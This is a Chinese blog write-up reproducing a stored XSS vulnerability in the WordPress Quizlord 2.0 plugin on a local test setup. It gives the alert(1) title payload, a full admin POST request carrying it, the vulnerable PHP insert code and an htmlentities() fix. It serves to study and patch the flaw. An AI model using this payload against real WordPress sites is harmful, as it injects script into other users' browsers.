【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞

0x00 复现环境

  1. phpstudy
  2. wordpress 4.4版本

貌似WordPress爆出漏洞的通常基本大多都是它的插件存在安全问题。

0x01步骤

使用phpstudy搭建环境,搭建wordpress,然后登陆进后台去下载Quizlord插件,版本为2.0
一切就绪后就开始看怎么触发的XSS了

3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.

--from exploit-db

XSS注入点:title

request包

POST /wp4.4/wordpress/wp-admin/admin.php HTTP/1.1
Host: localhost
Content-Length: 184
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/wp4.4/wordpress/wp-admin/admin.php?page=quizlord
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7C43a2436e074320bb113475ff8e44222065a4454e602d990d36639085856f0dd3; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7Cf23acf621ce28dbfc8f0baf9abe31370d3fc5674ca575a4ba1029832ca552c62; wp-settings-time-1=1550197219; pgv_pvi=4214545408; Phpstorm-c3dafaf3=cd60577d-e9ad-4825-b2e4-7a109a7e2faf; PHPSESSID=8v8jf1s93dprjgq4bpo29ldsq7
Connection: close

action=ql_insert&title=%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=1&time=0&numbtype=numerical&numbmark=1&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save

效果当然是触发啊 代码里一点过滤都没有 这算一个存储型XSS

0x02漏洞原理分析

知其然要知其所以然,下面我们来看问题出现在哪个环节
进入Quizlord插件目录,找到quizlord.php,打开
出问题的是这段函数 title没有被过滤盒转义就直接写进数据库里面了

function ql_insert_quiz_data(){
    global $wpdb;
    if(!empty($_POST[‘title‘])){
        $ql_title = $_POST[‘title‘];
        $ql_description = $_POST[‘description‘];
        $ql_time = $_POST[‘time‘];
        $ql_rightcolor = "#".$_POST[‘rightcolor‘];
        $ql_wrongcolor = "#".$_POST[‘wrongcolor‘];
        $ql_numbtype = $_POST[‘numbtype‘];
        $ql_numbmark = $_POST[‘numbmark‘];
        $ql_showtype = $_POST[‘showtype‘];

        $ql_random = isset($_POST[‘random‘]) ? 1 : 0;
        $ql_skip = isset($_POST[‘skip‘]) ? 1 : 0;
        $ql_resume = isset($_POST[‘resume‘]) ? 1 : 0;
        $ql_backbtn = isset($_POST[‘backbtn‘]) ? 1 : 0;
        $ql_autoload = isset($_POST[‘autoload‘]) ? 1 : 0;
        $ql_checkcnt = isset($_POST[‘checkcnt‘]) ? 1 : 0;

        $wpdb->insert($wpdb->prefix.‘ql_quizzes‘,
        array(
            ‘name‘ => $ql_title,
            ‘description‘ => $ql_description,
            ‘time‘ => $ql_time,
            ‘right_color‘ => $ql_rightcolor,
            ‘wrong_color‘ => $ql_wrongcolor,
            ‘numbering_type‘ => $ql_numbtype,
            ‘numbering_mark‘ => $ql_numbmark,
            ‘show_type‘ => $ql_showtype,
            ‘random‘ => $ql_random,
            ‘skip‘ => $ql_skip,
            ‘resume‘ => $ql_resume,
            ‘autoload‘ => $ql_autoload,
            ‘back_button‘ => $ql_backbtn,
            ‘check_continue‘ => $ql_checkcnt
        ));
    }
    wp_redirect($_SERVER[‘HTTP_REFERER‘]);
    exit();
}

add_action(‘admin_action_ql_insert‘, ‘ql_insert_quiz_data‘);

0x03 漏洞PoC

待写

0x04 漏洞修复

利用htmlentities()函数转义html实体。

刚开始的时候想 我一开始都插入payload进数据库了。不如就在输出的位置做转义吧
于是定位到输出的代码,修改成<?php echo htmlentities($qlq->name); ?>

输出就变成正常了,无办法触发XSS漏洞。

如果在输入点进行转义的话,定位的到输入赋值的位置,加入 $ql_title = htmlentities($_POST[‘title‘])即可

0x05 Reference

https://www.exploit-db.com/exploits/45307 详细的漏洞细节以及复现方法
https://www.freebuf.com/vuls/189814.html 中文版的这哥们也写了

原文地址:http://blog.51cto.com/11834557/2350912

时间: 2024-08-24 07:39:46

【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析的相关文章

XSS漏洞攻击原理与解决办法

转自:http://www.frostsky.com/2011/10/xss-hack/ 对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的.现在让我们来普及一下XSS的一些常识,以后在开发的时候,每当有用户输入的内容时,都要加倍小心.请记住两条原则:过滤输入和转义输出. 一.什么是XSS XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里

SSL 3.0 Poodle漏洞修复方法

什么是? SSL3.0 Poodle漏洞?? SSL协议由美国 NetScape公司开发的, 1996年发布了V3.0版本.SSL 3.0 已经存在 15 年之久,目前绝大多数浏览器都支持该版本.通常用户的浏览器都使用新版本的安全协议与服务器进行连接,为了保持兼容性,当浏览器安全协议连接失败的时候,就会转而尝试老版本的安全协议进行连接,其中就包括SSL 3.0. Poodle攻击的原理,就是黑客故意制造安全协议连接失败的情况,触发浏览器的降级使用 SSL 3.0,然后使用特殊的手段,从 SSL

pikachu学习——XSS漏洞3种基本类型

XSS漏洞是一种发生在Web前端危害较大的漏洞,其危害对象主要是前端用户,此漏洞可以用来进行钓鱼攻击,前端js挖矿,用户cookie获取,甚至结合浏览器对用户主机进行远程控制等. XSS漏洞常见类型有3种,分别是反射型,储存型和DOM型,危害性:储存型>反射型>DOM型. 反射型:交互数据一般不会储存在数据库里面,一次性,所见即所得,一般出现在查询页面等 储存型:交互的数据会被储存在数据库里面,永久性储存,一般出现在留言板,注册等页面 DOM型:不与后台的服务器产生数据交互,是一种通过DOM前

WordPress &lt; 4.1.2 存储型XSS漏洞

WordPress < 4.1.2 存储型XSS漏洞 0x00 原理 最近几天爆出来的,今天才看.网上的分析也有很多了估计,我也发一篇好了233333因为确实很经典,思路很不错.具体的细节看老外写的,请戳: https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2 这次主要是Mysql中的UTF-8只支持3个byte,如果需要支持4个byte的编码,则需要使用utf8mb4.不开启strict code(默认为Off)的时

使用Fiddler的X5S插件查找XSS漏洞

OWASP top 10的安全威胁中的CrossSite Scripting(跨站脚本攻击),允许攻击者通过浏览器往网站注入恶意脚本.这种漏洞经常出现在web应用中需要用户输入的地方,如果网站有XSS漏洞,攻击者就可以通过这种漏洞向浏览网站的用户发送恶意脚本,同时也可以利用该漏洞偷取sessionid,用来劫持用户帐户的会话. 所以网站开发者必须针对这种攻击进行适当的测试,必须过滤网站的每个输入及输出.为了使漏洞检测更容易,也可以使用各种扫描器,有很多自动或手动工具可以帮我们查找这些漏洞.X5S

WordPress Simple Photo Gallery插件&#39;index.php&#39; SQL注入漏洞

发布日期:2015-05-21更新日期:2015-05-25 受影响系统:WordPress Simple Photo Gallery 1.7.8描述:BUGTRAQ ID: 74784 Simple Photo Gallery是简单易用的图库插件. Simple Photo Gallery 1.7.8及其他版本在实现上存在sql注入漏洞,攻击者可利用此漏洞操控sql查询逻辑,对下层数据库执行未授权操作. <*来源:Viktor Gazdag *> 建议:厂商补丁: WordPress----

xss漏洞利用

一.跨站获取cookie 1,hacker端(hacker.php)的程序如下: <?php$cookie=$_GET['cookie'];$file=fopen("cookie.txt","a");fwrite($file,$cookie);fclose($file)?> 2,受害者端(victim.php)的程序如下:<html><head><title>xss跨站原理复现</title></he

Ladon插件ThinkPHP 5.0.22 5.1.29 GetShell Exploit

前言 使用Exp生成器生成Ladon插件实战,ThinkPHP GetShell 漏洞环境 使用docker ThinkPHP 5.0.20 复现测试 Payload: http://192.168.1.37:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 执行命令 http://192.168.1.37:8080

JSONP存在的JSON Hijacking漏洞以及与csrf/xss漏洞的关系

在实习过程中接触过所谓的JSON Hijacking 漏洞,但最近在写论文时发现理解得不深,好像跟xss与csrf又有点区别与联系,索性深入学习了下 JSONP. 下面一段话截取自:http://stackoverflow.com/questions/2067472/what-is-jsonp-all-about   仔细看看就比较清晰了. Say you're on domain abc.com, and you want to make a request to domain xyz.com